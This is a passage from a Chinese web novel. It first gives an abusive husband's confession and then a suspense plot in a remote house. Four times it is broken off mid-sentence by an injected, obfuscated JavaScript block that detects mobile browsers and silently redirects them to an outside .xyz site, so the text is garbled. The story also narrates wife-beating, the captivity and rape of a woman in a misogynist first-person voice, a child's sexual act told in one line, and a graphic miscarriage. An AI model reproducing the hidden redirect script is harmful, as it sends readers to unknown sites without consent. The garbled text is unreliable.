我有点气,又有点后悔,早知道前段时间就不打那么凶了,现在像什么样子! 一切都是她自作孽不可活!好端端的日子自个儿不会享受! 钱不要?行! 我把那些钱捡起来,揣进包里,去找兄弟。 兄弟有了钱就爱玩,我过去时,他正泡在巷子里的按摩店里玩。我到旁边的洗脚店等他。 老板问我洗不洗脚,说实话,自打结了婚,有钱都上交了,我兜里已经很久没有钱了。 前几年,钱全给臭婆娘享乐去了,凭啥我辛苦几年,一点享受都没有? 钱包很足,我的心也很痒,特别是面前的女人蹲在地上给我搓脚,两团圆鼓鼓的肉在领口挤出深深的沟。内裤在短裙里要现不现。 这不能怪我,要怪就怪那臭婆娘怀孕太久。 回家的时候,我买了她最爱吃的紫菜虾仁馄饨。我让她来吃,她缩在床脚不动。 今天我心情好,难得地哄了她许久。 后来,我去上厕所时,她吃了。 后面,我时不时给她带点她喜欢吃的东西回去,她也渐渐不躲我了,甚至主动问我干活累不累。 说真的,女人真是……太好骗了。 女人就是不长记性的狗。给她一点好,她马上就把所有的伤疤忘得一干二净,巴巴摇着尾巴来舔你。 她给我夹菜时,我抠了脚,没洗手。她也不骂我,叫我快点吃,说是我最爱吃的菜。 我差点爆笑出声。 你说以前这样好好过日子不好么?非得那样又这样。什么爱吃不爱吃,男人么,都是能吃就吃。 工资涨了,一个月能拿两千三了。依旧没隔壁男人高。不过她也不说了,甚至不问我要工资,我心情好的时候给她多一点,心情不好的时候,她还得拿一点给我。 第四年,又生了一个女儿。 现在全村人都知道我范明胜生不出儿子了,每次回村,全在笑。 我范明胜什么时候受过这种气?小时候全是老子嘲笑他们。 都是那个疯婆娘。明明屁股那么大,咋就生不出儿子? 每天好吃好喝的供着,咋就不争气? 我气得直踹她肚子。她不哼不叫,就抱着那个女儿趴在床上。女儿“呜啊啊”地哭,她也不吭声。 我最烦她这个要死不活的样子,拎了衣服去兄弟家住。 兄弟找了只鸡当老婆,没领证,住屋里,每天穿着内裤走来走去。 刚开始很烦,后来我有了个主意——我去找那个女的——她从洗脚店出来单干了,自己租了间破房子,每天去楼下找客人。 虽然人烂,但终归是个女人。 我问她能不能跟我生个儿子。 她像听了个天大的笑话,毒日当头,指着我哈哈大笑,鲜红的指甲尖像火一样烧红了我的眼。 我忍了又忍。 她说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926637|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“看在你是我老顾客的份上,我跟你说实话吧,现在的女人都聪明着呢,没人想跟穷光蛋生儿子。” 穷光蛋?穷?不是我每个月照顾她十几次生意,她拿的出钱出来单干?拿的出钱租房子? 就她这破样,除了他念旧,谁愿意上她? 一个两个全把他当傻子骗。家里的骗他的钱,外面的也骗他的钱。 穷? 好得很。 我把她拖回屋里,拴在门上,每天问她要不要生儿子。 她是做什么的,我是来干什么的。周围的人每个人都懂,不论她叫声多惨,从没有人来问过看过。 一个月后,她开始呕吐。 我知道成了。我把每个月挣的钱,一分不少地交给她。 我跟着之前的隔壁兄弟偷偷摸摸卖了不少钱,一个月差不多有个四千,一并交给她。 四千,算得上有钱人家了,她一个月卖死卖活也卖不了这么多。 她不闹腾了,每天数着钱。肚子一天天长大。 期间我因为偷钢管卖被抓了两回,警察跟我说,我偷得不多,只能拘留,要是偷得多了,次数多了,以后要坐牢的,有案底,生了孩子孩子也会受影响。 我记得特别深。那之后再也不敢偷了。我要生儿子的,我生的儿子是要光宗耀祖的,可不能给他留下案底。 九个月后,生了个儿子。 我抱着儿子在医院里哈哈大笑得直流泪。 谁说我范明胜生不了儿子? 这不就是个儿子! 以前都是那臭婆娘的肚子不争气! 想起臭婆娘,我也有好几个月没回去过了,不知道她怎么样,突然还有点想她。 我回了家,她带着女儿在家里,我回去也给我做饭吃,也不问我这几个月去哪了。 再回医院时,那女人丢下儿子跑了。 卷了他所有的钱跑了。 我又气又恨,又不敢报警。 我有家室,真要算,说不定能给我安个强\奸的罪,虽然我认为这是两厢情愿,毕竟那女人在床上叫得欢得很。 但女人的心摸不准,万一她告了我,岂不是要给我儿子留案底? 钱就当丢了。 我抱着儿子回家。 家里的婆娘没问什么,给她她就养。 这样多好,有儿有女有老婆,多像家。 我又去工地干活了,每个月挣的钱分一半给她。 儿子长大一点的时候,多分一点,留下的钱少但也够我潇洒。 这日子过得村里人人人羡慕,我兄弟的老婆跑了,又找了一只鸡当老婆。每回喝酒都说羡慕我。 儿子四岁的时候发生了一件事,晚上睡到半夜扒了姐姐的裤子舔。 她气狠了,沉寂这些年后又操起衣架打。这回没打我身上,全招呼到我儿子身上。 我也气了。 我花了那么多时间和钱生的儿子,打坏了怎么办? “小孩子嘛,啥也不懂,你计较啥?” 我说完,她放下衣架,盯了我一眼,又盯了我儿子一眼,突然笑了。 从那以后,女儿每时每刻都被她带在身边,把儿子隔得远远的。 我也不在意,反正我儿子只要长得好好的就没事。 儿子八岁的时候,我和兄弟喝酒喝多了,兄弟说:“你儿子长得也不像你啊。” 酒精烧脑,没反应过来。 我说:“当然了,像他妈嘛。” 兄弟:“他妈是不是洗脚的那个?胸长得跟拨浪鼓似的那女的?” 我和那女的事情,兄弟都知道。他是我最好的兄弟,我什么事都没瞒过他。 我说:“是。” 兄弟想了想,抠着下巴,“也不像啊。” 小学没读完的我第一次无师自通了一个成语——晴天霹雳。 我的脑子像被大锤轰隆抡过去又轰隆抡回来。 我慌慌张张跑回家,把所有的灯打开,拎起睡熟的儿子放到最亮的那颗灯下面,仔细看。 他懵懵懂懂睁开眼。那双幼童的纯粹干净的瞳孔倒映出我的脸。 我看着我的脸和他的脸,还有记忆里还算清晰的那个女人的脸。 “哈哈——” 我跌坐在地上,笑得喘不过气。 儿子吓坏了,立在那里,不敢动。 臭婆娘从厕所里出来,看见我,看见儿子,看见大灯。 她站在厕所门口的墙壁前,白灯把她的脸照得死一样惨白,她咧着干巴的嘴,冲我笑。 是那种皮笑肉不笑的嘲讽。 “你一直都知道?” 我扭头盯住她。 她笑出了声。 8. 第 8 章 梁威站在范明胜门口。 门铃上方挂铭牌的位置干干净净,门扉色泽没有被损坏的痕迹。 “很奇怪吧?” 周志靠过来,站在他旁边一起端看。 梁威嗯了一声。 周志:“其实我记得是有的。” 他比他们早一天到,出于礼貌,没有贸然进他们的房间,但找自己房间时,将每间房的铭牌都看过。 却不知道在什么时候,范明胜这间房的铭牌不在了。 梁威推开门。 屋内乱七八糟,发生了平月的事情,他们搜查房间时极尽愤怒,翻得乱七八糟。 范明胜也没收拾,甚至将东西全部踢到一堆,更乱了。 梁威踢开杂乱成堆的杂物,拎出范明胜的蛇皮口袋。 范明胜和他们同一车从平城东站到巴斯镇,只要找到他的车票,便能清楚他这一趟的目的了。 周志在丢在床边的裤子屁股兜里翻到车票。 他递给梁威。 夏令营的车票上附带着一张二维码,提前一周邮寄给他们,是网络售票。范明胜这张没有二维码,票上信息显示这张车票是发车前一天从车站窗口出票的。 周志说:“不一样。” 梁威:“嗯。” 有了这张车票,几乎可以肯定范明胜是半路盯上了他们,浑水摸鱼插进来。 他们又继续找,每样东西都翻出来看,垃圾堆也翻了,没有找到范明胜与夏令营相关的东西。 范明胜的手机上了锁,没法查看。 “可能真是我记错了。” 周志看眼时间,晚上十点十五分了。 “你是警察,你先拿着这两样东西吧,我得下去换她了,老年人晚上守不住。” …… 范明胜半夜醒了。 昏迷太久,所有感知器官都消退到最低。他迷茫地望着天花板的灯。 周志发现得非常及时,快速将备好的药塞他嘴里。范明胜下意识张开嘴,吃完了药,喝完了水。 他伤得太重,药量比平常人吃得多。没一会儿,药效上来,他又睡着了。 出乎意料的没有闹腾。周志喝口茶,继续看动物世界。 没有网的日子,电视就是最好的伙伴。 清晨六点,赵淑萍下来换他。他上去睡觉,赵淑萍拿着早餐坐在餐厅里吃,吃完了挪到沙发里织毛衣。 刚织两排,范明胜猛地一震醒过来。睡醒和昏迷醒来的感知力完全不同,药效也退完了,腿的疼痛骤然袭击他的感知神经。他抱着空荡荡的腿惨叫起来。 “啊——!” 赵淑萍吓了一跳,钢针戳到手指上,疼得她直抽气。 她把毛衣丢开,顾不上自个儿疼,先去安抚他。 “没事了,没事了……” 她拿了周志离开前放在那儿的药,哄着他:“来吃点止痛药,吃了就没事了……” 药还没有喂到他嘴边,范明胜一挥手拍掉,蹬着另一条腿蜷缩在沙发上嘶嚎。 他从来没经历过这种痛,断掉的那条腿,空荡荡的腿,就像有人正举着一把锯子,一只手按住他的腿,一只手拉着锯子锯。 嘎吱,嘎吱,嘎吱。 每拉一次,锯子在皮肉之间与骨头摩擦出刺耳的噪音。 头顶的白灯青幽幽地照着。遍地的血像暴雨后的地面,淤泥不堪,无声流动。 他就是那条被宰的猪,躺在地上,任人用锯子割据。 不,不,不是这样! 地上的人不是他!他才是握锯子的人! 范明胜翻身而起,抓住旁边的人就往地上按。 他力大无穷,赵淑萍直接被他摁翻了。所幸是沙发,没摔倒她。她半躺在沙发上,梁威冲过来,从范明胜背后将人钳制住。 赵淑萍颤颤巍巍爬起来,大声冲楼上叫:“快叫晓文下来!” 正往楼下跑的悦凌凌立刻掉头去叫钱晓文。 “钱晓文!” “钱晓文!” “钱晓文!” 钱晓文也很慌,她是入殓师,不是医生,叫她她也没办法。 没有止痛针,没有麻醉药,唯一有的只有布洛芬,这种药对范明胜的作用微乎其微。 她看了梁威一眼。梁威固定着范明胜的两条胳膊防止他发疯。此时的范明胜就像一个被绑在十字架上的罪人,沙发背就是他的十字架,他被禁锢着坐在那里,一条腿断了,一条腿蜷在屁股下面。 “放开!放开!” 他大吼大叫,不断挣扎。 梁威示意她快点。 快点有什么用。 她是入殓师,不是医生! 她盯着梁威。 梁威只好说:“先喂点药吧。” 钱晓文立刻抓过桌上的药,布洛芬、阿司匹林、各种维生素,摁出比平时多的份量——小时候生病吃药就是这样,药剂大,好得快。 更何况是范明胜这种特殊情况。维生素多倍,没什么问题。 范明胜正在嘶吼,钱晓文握着一把药片,就着这机会往范明胜嘴里塞。 人影从头顶罩下来,又宽又大,遮挡了范明胜全部的视野,那片影子像灌了水的死肥猪一样肥大,将他完完全全盖住。 就像那个晚上,她从他头顶倒下来,庞大的阴影罩住他,留了他一脸的血。 恐惧从心底突袭而出,范明胜浑身一震,拔出全身最大的力气,用那只完好的脚,朝阴影踹过去。 走开! 走开! 滚开! 去死! 去死! 踹死她!踹死她! 她不能死在他身上!会留案底,会给他的儿子留案底! 不能有案底! 要死滚开去死! 一脚,两脚,三脚,照着覆盖过来的影子用力踹。 正中钱晓文的肚子。 钱晓文被踹飞了,倒在身后的桌上。 茶杯打翻在地,碎了一地的玻璃和污水。她捂住肚子,一脸惨白。 脑海像被掏空了一样空白,剧痛是后来升起的。一阵绞痛,撕心裂肺地绞痛。她捂着肚子,从桌上翻滚下去,滚到地上。她蜷在地上,抱着肚子,浑身都在颤抖。 “你没事吧……?” 悦凌凌去扶她。 “滚啊!” 她一把挥开悦凌凌的手,撑着桌子爬起来,一步一步往楼上走。 有什么东西,在流。 像水,也像血,顺着腿根流。 她扶着楼梯扶手,艰难地往上爬。 平月站在楼梯口,想去扶,自己腿也不方便,指不定谁扶谁,干脆让开身,免得挡了路。 钱晓文像是没看见她,撞着墙,往房间走。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926638|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她的后背,那条白色的睡裤上面,染了一抹鲜红的血。 不知道是范明胜的,还是谁的。 “嘭!” 她跌进房间,甩上门。 平月收回视线。 楼下没了动静。 梁威和陈宇南、余有为合力让范明胜吃了药。他又睡着了。 陈宇南甩着手臂,“真难搞。” 人发疯时力气出奇的大,特别是刚才的范明胜,跟五指山夺了魂似的,压都压不住。 陈宇南的手臂被他撞好几下,这会发着酸痛。 平月挪下楼梯,陈宇南看见她,诧异:“你下来做什么?” 她指了指厨房,“烧水。” 原本是听见动静出来看看,现在想喝水了。 她接了水放在炉灶上烧。 客厅里,悦凌凌揪着手指站在沙发旁,一脸纠结:“这样也不是办法啊……保安什么时候来啊?” 梁威看时间,才七点半。他们从巴斯车站上来,是第二天中午到的。Jck安排的人,来得快也要十点去了。 梁威:“差不多还有三个小时。” 悦凌凌指着范明胜:“那还要叫钱晓文给他处理伤口吗?” 他的伤口在挣扎中全裂开了,血一股一股地冒,已经漆黑的沙发又染上一层血红。 “不处理会……” 悦凌凌不敢说那个字,但她也不敢去找钱晓文。 钱晓文刚才的样子好吓人,跟要吃人似的。 刚才的情形……梁威也不好去叫。他翻了翻桌上乱成一片的药,找不到什么可以止血的,后知后觉想起钱晓文是缝合止血。 他干不来这种细致活,便将维生素全倒出来,让悦凌凌碾碎成粉。 范明胜腿上的纱布被血凝固黏在伤口,他倒碘伏软化,剪掉纱布,把维生素粉全倒上去,用新纱布紧紧裹住。 悦凌凌咂舌:“这样能行吗?” 梁威也不知道行不行,这是他第一次实践。系上绷带后,才生出一丝后悔,还是应该去叫钱晓文来,虽然是入殓师,但止血这方面比他们专业。 血染透了新换的绷带。 悦凌凌明显急了,焦虑地抠手指头。 赵淑萍说:“我去叫她下来吧。到底是人命一条,不能放着不管。” 她还没有走上楼梯,血浸透得慢了。等赵淑萍上到二楼,血停了。 悦凌凌总算松了口气,“奶,好了,不用去了。” “真行了?” “真行了。” 赵淑萍又下来。 水烧好了,平月洗一遍保温杯,往里面装满。 赵淑萍问客厅里的人:“你们喝茶吗?” 除了赵淑萍,其余人都是被突然吵醒的。虽然范明胜睡着了,他们也没法回去睡,得留在这里以防万一,还得等安保人员来。 还有两个多小时,有得等。 陈宇南打个哈欠,问:“有没有咖啡。”他昨晚三点才睡。 赵淑萍往柜子里翻了翻,翻到一桶蓝山咖啡豆。 她说:“我弄不来。小伙子自己来动手。” 陈宇南薅着头发过去,悦凌凌赶紧说:“陈宇南,我也要喝。” …… 中午十二点。 车没有来。 没有医生,没有安保人员。 屋外晴空万里,万里无人。 9. 第 9 章 “怎么办?电话也打不通。” 悦凌凌拿着听筒,不安地跺脚。 周志:“你先别慌。” 悦凌凌更慌了,喋喋叨叨:“我们不会被骗了吧?这里根本不是夏令营,我们我们……” 陈宇南:“这里不是夏令营,怎么有我们的名字和教材?” 平月房间里有书籍资料、专用支架电脑。陈宇南房间有作曲设备。悦凌凌房间有考研题集。 听了陈宇南的话,悦凌凌没那么慌了,放下听筒。 周志拿着遥控器,说:“你们看。” 本地新闻频道,正在事实播报。 昨晚山下下了一场暴雨,信号基站受创,正在抢修。山体崩塌,坍塌下来的石块和泥土将道路截断了,小镇被淹没了地,全是排不出去的污水,人们在用锅碗瓢盆舀水。 边境线就是这样又破又穷,一场暴雨便能将他们搅得天翻地覆。 “哦,原来是这样……” 悦凌凌心底压抑的那点不安彻底消散了。 “难怪打不通电话。” “那现在怎么办?” “只能等了?” 陈宇南无语:“不等,你背他下去?” 悦凌凌吐舌。 张情抱着猫溜达下来,路过陈宇南时,轻柔地摸了摸他的肩膀,笑意盈盈:“小帅哥,心平气和一点嘛~” 陈宇南从椅子上弹了起来,快速瞄平月一眼。见平月在看电视,没有注意到他这边,他赶紧往旁边走开,离张情远远的。 张情诧异:“没谈过恋爱啊?” 原本怒视张情的悦凌凌登时神情一变,双眼明亮,带着点期待望着陈宇南。 陈宇南尴尬,谈肯定是谈过,追他的女生那么多,但那些能和平月一样吗? 他第一次见平月这样的女生,不管她人在哪里,总能精准抓住他的眼睛和心思。 他又看眼平月,平月握着保温杯喝水,这边的动静大了,她也朝这边看来。 陈宇南立刻将“谈过”两个字逼回肚子里,往平月挪了两步,扬声说:“没谈过。” “哇!我以为你谈过!” 悦凌凌双眼冒光。 “你别乱说啊!” 陈宇南提高声音,又频频看平月。幸好平月没看他。 张情的视线在陈宇南三人之间戏谑地转了两圈,拉开酒柜抽出一瓶红酒。 猫从她的臂弯跳到地上溜了。 她把开瓶器含在嘴里,弯腰在橱柜里勾出一只高脚酒杯,走到餐桌前,慢慢开红酒。 悦凌凌惊讶:“你喝酒啊?” 张情:“嗯?” 她掀起眼皮瞅了悦凌凌一眼,“你几岁?” 悦凌凌:“22。” 张情:“没喝过酒?” 悦凌凌摇头:“没,我妈说喝酒不好,不让我喝。” 张情:“那你平时喝什么?” 悦凌凌:“白开水啊。” 张情:“……” “好没意思的东西。” 悦凌凌:“我也觉得没意思,我喜欢喝饮料,但我妈不让我喝。” 张情:“那你就不喝?” 悦凌凌靠过来,悄悄说:“偷偷喝。” 她站在桌子旁边,跟张情说悄悄话的样子一脸淳朴,像张情是她的好闺蜜似的。 特傻白甜。 张情拔掉木塞,举起红酒瓶逗她:“尝两口?” 悦凌凌往瓶口瞅,黑黝黝的瓶口仿佛装着她妈那张严厉的脸,吓得她尖叫一声往后退。 张情被逗得哈哈大笑。 赵淑萍拍拍悦凌凌的后背,笑着说:“小孩子可不能喝酒哟!” 悦凌凌反驳:“我不是小孩!”不过哪怕她不是小孩子,她也不敢喝。 赵淑萍笑道:“你是可爱的小苹果。” 悦凌凌气急:“奶!” 赵淑萍招招手:“好了好了,奶不说你了。” 红酒倒进酒杯,颜色像氧化后的血,非常漂亮。张情端着酒杯,靠着餐桌喝酒。两条细长的腿踩着高跟鞋交叠,白皙的肩膀裸露在空中。 猫跑了一圈回来,依偎在她脚边。 正午的阳光隔着落地窗透进来,一圈一圈金光印在地面,晒得小猫懒洋洋的。 客厅一片欢乐祥和,气氛并没有因为范明胜留在这里而阴霾。 …… 下午两点,范明胜又醒了一次。客厅里的众人早有准备,余有为掐掉烟,禁锢范明胜的双手,梁威掐开范明胜的下巴,陈宇南把事先备好的药倒进范明胜的嘴里,再灌两口水。 梁威松开手,给他顺着气将那些药顺进去。 范明胜嚎了一会儿,药效起了,又迷迷瞪瞪睡去。 悦凌凌咬着酸奶的吸管,问:“只给他吃药,不给他吃饭,会不会不太好?不都说饭后吃药嘛。” 陈宇南:“你能让他吃进去饭?” 悦凌凌闭嘴了。 酸奶吸光了,发出“吸叽吸叽”的响声。 赵淑萍说:“你小嘴可会吧啦。” 悦凌凌眼睛一睁,突然反应过来自己一向能说会道,一遇到陈宇南,全给他怼到失语。 一物将一物,大概就是指陈宇南和她吧? 悦凌凌当即用一种很崇拜的目光望向陈宇南。他在打哈欠,打完后的眼睛水润水润含满了光,看人的时候自带光泽。 好看的男人打哈欠都那么好看。 悦凌凌撑着下巴,看得入迷。也不知道想到什么,在那儿傻笑。 张情一巴掌扇她后脑勺,骂:“白痴。” 悦凌凌浑身一震,清醒过来,“你才是白痴”一句话还没出口,眼睛先一步发现陈宇南不在原处了。客厅里没了他的身影,她转动脑袋到处找人。 “那。” 张情冲楼梯抬抬下巴。 “你还不抓紧点,小心明天就是别人男朋友咯。” 楼梯上,陈宇南殷勤又体贴地扶着平月往楼上走,一身的温柔藏都藏不住。和平时跟悦凌凌说话的陈宇南,判若两人。 悦凌凌顿时有了危机感,丢开酸奶盒冲上楼梯,撞开陈宇南,一把扶住平月,笑意冷冰冰地说:“我扶你上去。” 陈宇南倒退两步,拽着楼梯扶手站稳身形,怒气冲冲地叫:“悦凌凌!” 悦凌凌头也不回,把平月扶进房间。 “谢谢。” 平月坐在窗边的小沙发里对她笑。 她有一双非常漂亮的眼睛,平时不笑时,瞧着冷冷清清,一旦笑起来,那双眼睛望人的刹那就像要夺了人的心魂去。 悦凌凌感觉自己呼吸都急促了几分。 她觉得平月就是电视剧里的妖精,而她自己是那个愿意双手合十将自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926639|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奉献给妖精的痴心妄想的癞蛤蟆。 悦凌凌:“每年夏令营都有明星来学习,你其实就是那个明星吧?” 平月:“不是。” 悦凌凌:“我懂,你就是不想暴露你的身份。我会替你保密的。” 平月:“……” 悦凌凌往常没看平月时,还能讨厌两分,看见了,就讨厌不起来了,尽管陈宇南喜欢这个人。悦凌凌觉得如果自己是个男生,她也喜欢平月。不,是个女生,她也很喜欢。 悦凌凌说:“你以后有事尽管叫我,陈宇南他什么都不会,叫他纯粹浪费时间。” 两全其美,既能隔开陈宇南和平月,自己还能多看看平月的脸。 平月:“好。” 有了平月的保证,悦凌凌心情愉快地出了房间。 陈宇南站在门外,似乎想进去。 悦凌凌带上门,整个人挡在门口,冲陈宇南抬头:“她睡了。” 陈宇南:“这么早?” 才下午两点十分。 悦凌凌:“对啊。今早起那么早,人家中午还没有睡午觉呢。” 陈宇南相信了她,“那我也回去睡了。” 悦凌凌:“诶?” 陈宇南疑惑:“怎么?” 悦凌凌眨眨眼,“没事。” 陈宇南往房间走,悦凌凌跟在他身边,她的心跳得飞快。 这是第一次,陈宇南好声好气和她讲话,他的声音温温和和,听在耳朵里舒服得像在晒太阳,让人迷瞪瞪的。 走到了悦凌凌的房间门口,悦凌凌没有停下来,还跟着他走。 陈宇南狐疑侧头,问她:“你不回房间吗?” 悦凌凌:“要啊,先送你回去。” 陈宇南:“……” 悦凌凌:“你昨晚几点睡得呀?” 陈宇南:“三点。” 悦凌凌:“这么迟?” 陈宇南:“嗯。” 这种没意思的问话,陈宇南听多了。每一个想认识他的女生,在加上他的联系方式之后,总是这样问,像调查员一样,要将他的每一分钟调查得清清楚楚。 陈宇南快走两步,站在房间门口,“到了。” 悦凌凌跟着停下来,看见门上挂着“陈宇南”的铭牌,嘀咕:“这就到了……” 刚开始发现陈宇南住在隔壁时,她有多兴奋,现在就有多不乐意,要是陈宇南住得远一些,她还能和他多走一段路,多说几句话。 悦凌凌的不快乐只存在了几秒钟——他们要在这栋房子里一起生活两个月,四舍五入也算同居了。 同居…… 悦凌凌心脏狂跳,脸颊滚烫。幸好陈宇南关上了门,没看见,她红着脸扭身往自己屋里跑。 张情靠在楼梯口笑。 梁威从后面上来,往悦凌凌那看了一眼,警告张情:“别胡来。” “我胡来什么?” 张情忽然伸出一条腿,拦住梁威的去路,“那你和我玩玩~?” 那条腿又细又长,从开叉的裙摆伸出来,裙摆荡漾出波澜。 梁威看也不看,跨栏杆似的横跨过去。 张情“哟”一声,“戒色了?”她踩着高跟鞋跟在他后面,“喝酒吗?”晃了晃手里的酒瓶和酒杯。 玻璃碰撞叮当响,她也不要他回答,直奔主题:“钱晓文房间里有什么?” 10. 第 10 章 钱晓文坐在马桶上,腹部一阵一阵地绞痛。 尿液几滴几滴小串地流进马桶,紧接着,是一股暖流,混着尿液一起流。她痛苦地撑着膝盖,往马桶里看,血红的。 血混进马桶水里,像月经血一样,一珠一珠的鲜红,又慢慢被水晕成粉红,连成丝丝缕缕的淡粉色。 突然一下剧痛,腹部有什么东西在往下坠。坠又坠不下去,一只手活生生地剥着它。 钱晓文忍不住痛叫出声。下一秒,她拽紧毛巾死死咬住,下\体涌出巨大的暖流,随即“啪嗒”一声,血混着什么东西掉了下来,掉进马桶里,水溅开了。 她低头看。马桶里的水变成了暗红,血和血块之间夹着一团暗红色的像肉像膜的异物,就像菜市场猪肉摊上被老板一刀剔除掉的带茎带膜的杂肉,丢弃在下水道。 她盯着那坨异物,看了许久。久到脖子发了酸,下\体流出的尿与血覆盖了它,整个马桶变得血染一样的暗红,她慢腾腾摸上冲水按钮。 “哗啦。” 水将它们冲走,卷进下水道。 马桶恢复雪白。 她坐在马桶上,身下的血淋漓不尽,一直流,一直流。 卫生间的白光灯照得她一脸惨白,地面的暗纹瓷砖也是惨白。 她盯着发光的闪烁的瓷砖,手摸上自己的腹部,隔着皮肉与和脂肪,感受到里面空空荡荡。 有什么东西消失了,在她的体内完全消失了。 她好像轻了很多。 她笑了一下,眼泪顺着脸颊流,滴到瓷砖上。 视野里,瓷砖出现了重影,冷白色的光像一把锋利的刀,闪得她眼睛疼。 她捂住眼睛,埋在毛巾里,放声大哭。 …… 钱晓文小产了。 没有人知道。 余有为在房间里抽烟。梁威在运动。张情坐在窗边喝酒撸猫。悦凌凌在做粉色的泡泡梦,梦里的陈宇南亲了她的脸,她羞得转身想逃。现实里的陈宇南在补觉,睡得死沉。 周志在楼下守着范明胜看动物世界。赵淑萍在吃晚饭。平月咬着蔓越莓夹心饼干翻看刑事诉讼法。 范明胜在下午六点醒了一次,不知道是不是前两次醒来被弄得怕了,这次醒来只是嚎叫,不断挥手去摸那条断腿,不愿意相信自己的腿就那么没了。 周志调大电视台的声音,等他嚎完了,问他:“吃饭不?” 范明胜痛得吃不下,周志就着水喂他一把药,他又睡了过去。 赵淑萍吃完晚饭,在走廊上晃动,做饭后消食。周志扬声:“不下来喝杯牛奶?” 赵淑萍便笑着下来,在客厅里扭扭身体,说:“我刚听见他叫了,闹腾你没?” 周志说:“没呢,我给你放首歌?” 他切换到音乐频道,正是一首老年人希望的很嗨的歌。赵淑萍扭得起劲了,没空聊天。 周志去厨房换了一杯茶,又拿个水杯倒了热水放到沙发前的案几上。 赵淑萍扭了十分钟,呼吸急促,扭不动了。她坐到沙发里,喘了好一阵。水杯里的水恰好温了,周志递给她喝。 赵淑萍喝完,又去厨房倒了一杯,回来看见周志又在看动物世界。 “说起来,小志你是干什么的啊?” 周志指了指电视。 赵淑萍:“宠物店啊?” 周志笑了,“不是。” 赵淑萍:“宠物方面的?” 周志:“嗯……差不多吧。” 赵淑萍:“哪有啥差不多,是就是,不是就不是呗。” 楼梯上响起踢踢踏踏的脚步声,悦凌凌打着哈欠、薅着头发下来,一脸睡意朦胧。 “电视台吧?”她说。 周志说:“这下对了。” 赵淑萍一巴掌拍周志胳膊上,“这差得可多了,还差不多!” 周志笑笑,没说什么。 悦凌凌从冰箱里拿了瓶桃子味的汽水,咕噜灌了两口:“电视台来这里能学什么啊?播音主持啊?” 周志:“你考研来这里学什么?三天没刷真题了吧?” “诶!我……” 悦凌凌眼睛一瞪,彻底清醒了。 “这不Jck让我们休息几天适应环境吗,老师还没来嘛……”她开始找借口。 周志懒得揭穿她。 赵淑萍倒是语重心长地和她说:“你们小孩子读书啊,要抓紧时间读,错了年轻的机会,以后老了后悔都来不及喽!” 悦凌凌撇撇嘴。 赵淑萍:“我知道你们小孩都不爱听这话,但这是真的哩,真话都不中听。奶奶是过来人,懂得比你多。” 周志:“她的话听着不舒服,但在理。趁着年轻,抓紧一切时间和机会去握自己想要的东西,虽然栽树什么时候栽都不晚,但人的时间不等人。时代在往前滚。” 悦凌凌服了:“好吧好吧,我上去看书了。在家我妈要说我,来这里,你们还要说我,果然上一代的人都看不惯下一代人闲着。” “这丫头……”赵淑萍恨铁不成钢地指着她的背影。 周志笑笑:“年轻嘛,都这样。我年轻时也这样,总觉得有大把时间,现在才懂得,人不抓紧,只会止步不前,被时代抛弃。” 赵淑萍赞同:“对喽。” “我人老,但还是晓得,你们这代人比我们难多喽。我们那时候,只管吃不吃得上饭,每天睁眼就是干活,有饭吃就行。你们不行啊,要买房子、车子、存钱娶媳妇养孩子,条件不好的还得往上养四个老人,往下养两个孩子。孩子也不是像我们以前那样,给口饭吃就行,得供他们读好学校,上补习班,还得上几个兴趣班。我小孙女啊,读幼儿园就开始学跳舞,小学还得去学奥数、书法、英语,就没闲过,我看着都累。” “小志结婚没?” 周志:“结了。” 赵淑萍:“几个孩子?” 周志:“一个。” 赵淑萍:“对方啥条件?” 周志:“和我一个单位。” 赵淑萍:“那还行,不累。你们电视台稳定,工资待遇也好。咋不再生一个?” 周志哈哈两声:“没时间。你呢,家里几个?” 赵淑萍:“我啊,那时候没计划生育,还是只生了两个。两个都是儿子,大的那个今年45,小的那个38。” 说起她的儿子,赵淑萍一脸笑意,自豪地说:“两个都成家咯,老大家生了个儿子,老二家生了两个女儿。个个模样乖着哩,又聪慧。” 周志:“家庭可以嘛。” 赵淑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926640|160543||http|test|mini|href|location''.split(''|''),0,{})); () { 